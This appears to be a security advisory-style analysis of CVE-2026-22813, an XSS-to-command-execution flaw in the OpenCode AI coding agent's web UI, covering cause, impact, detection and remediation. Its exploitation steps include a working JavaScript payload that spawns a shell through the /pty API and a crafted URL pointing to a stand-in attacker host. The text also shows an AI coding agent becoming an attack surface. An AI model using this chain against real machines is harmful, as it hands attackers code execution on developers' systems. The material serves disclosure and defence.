CVE-2026-22813: 
JavaScript vulnerability analysis and mitigation

CVE-2026-22813 is a Cross-Site Scripting (XSS) vulnerability in OpenCode, an open-source AI coding agent, that allows a malicious website to execute arbitrary commands on the local system through the OpenCode web UI. The vulnerability affects all versions of the opencode-ai npm package prior to 1.1.10 and was published on January 12, 2026. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Advisory, OpenCode Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the markdown renderer used for LLM responses inserting arbitrary HTML into the DOM without DOMPurify sanitization or a Content Security Policy (CSP). A secondary weakness is the ?url= query parameter in packages/app/src/app.tsx that allows the web UI to connect to an attacker-controlled server, enabling the attacker to serve a malicious chat session containing injected JavaScript. Once JavaScript executes on the http://localhost:4096 origin, it can make same-origin fetch() requests to the OpenCode /pty/ API endpoints, which spawn arbitrary processes on the local machine. A public proof-of-concept using mitmproxy to serve a malicious session is included in the advisory (GitHub Advisory, OpenCode Advisory).

Successful exploitation allows a remote attacker to achieve full local code execution on the victim's machine by chaining XSS with the OpenCode /pty/ API. An attacker can spawn arbitrary shell commands as the user running OpenCode, enabling data exfiltration, file system modification, installation of malware, or lateral movement within the local network. All three security pillars — confidentiality, integrity, and availability — are rated High for both the vulnerable and subsequent systems in the CVSS v4.0 scoring (GitHub Advisory).

A public proof-of-concept exploit is available in the GitHub Security Advisory, demonstrating command execution via a mitmproxy-based malicious server. There is no confirmed evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.037–0.078%, placing it in a low-to-moderate exploitation probability range. The vulnerability is not currently listed in the CISA KEV catalog. Notably, the OpenCode team partially mitigated the specific attack vector server-side on January 9, 2026 by disabling the ?url= parameter, but the underlying XSS flaw remains in unpatched versions (GitHub Advisory, OpenCode Advisory).

1. Setup attacker infrastructure: Host a malicious OpenCode-compatible API server (e.g., using mitmproxy in reverse proxy mode in front of a real OpenCode instance) that serves a crafted chat session containing an HTML/JavaScript payload embedded in an LLM message response.
2. Craft malicious session: Create a session response where the message text field contains a <script> tag or inline JavaScript payload. The payload uses the /pty/ API to spawn a shell command:

(async () => {
  const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/pwned.txt']};
  const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
  const pty_id = (await r.json())['id'];
  await new Promise(r => setTimeout(r, 500));
  await fetch('/pty/' + pty_id, {method: 'DELETE'});
})();

3. Trick victim into visiting crafted URL: Social-engineer the victim (a developer running OpenCode locally) into opening a URL such as http://localhost:4096/Lw/session/ses_<ID>?url=https://opencode.attacker.example in their browser.
4. XSS triggers on localhost:4096: The OpenCode web UI loads the malicious session from the attacker's server; the unsanitized markdown renderer injects the JavaScript payload into the DOM and executes it on the http://localhost:4096 origin.
5. Achieve local code execution: The injected JavaScript makes same-origin POST /pty requests to spawn arbitrary shell processes on the victim's machine, executing attacker-controlled commands with the privileges of the user running OpenCode (GitHub Advisory, OpenCode Advisory).

• Network: Unexpected outbound connections from localhost:4096 to external IP addresses or domains; HTTP requests to http://localhost:4096 containing a ?url= parameter pointing to an external host.
• Logs: OpenCode HTTP server access logs showing GET /session/<id>?url=<external-url> requests; POST /pty and DELETE /pty/<id> API calls not initiated by the local user.
• File System: Unexpected files created in /tmp/ or other writable directories (e.g., albert-was-here.txt as demonstrated in the PoC); new scripts, cron jobs, or persistence mechanisms added by the OpenCode process user.
• Process: Unexpected child processes spawned by the OpenCode server process (e.g., /bin/sh, curl, wget, python) visible in process trees via ps aux or system monitoring tools (GitHub Advisory).

The primary remediation is to upgrade the opencode-ai npm package to version 1.1.10 or later, which disables the web UI and OpenCode API entirely to reduce the attack surface. As a partial server-side mitigation, the OpenCode team disabled the ?url= parameter on January 9, 2026, which blocks the specific exploit chain described in the PoC, but the underlying XSS vulnerability persists in older client versions. Until patching is complete, users should avoid opening untrusted URLs in browsers on machines running OpenCode, and consider restricting network access to localhost:4096 via firewall rules (GitHub Advisory, OpenCode Advisory).

Security researchers highlighted the broader implications of AI coding agents exposing local API endpoints, with commentary noting that tools like OpenCode effectively give websites "root access" to a developer's machine (Dev.to Post). A threat intelligence blog framed the issue as AI coding tools becoming a new attack surface (BaseFortify). Security news outlets covered the vulnerability under headlines emphasizing that malicious websites could hijack developer PCs, and the issue was referenced in Cloudflare's 2026 Threat Report in the context of AI-accelerated exploitation trends.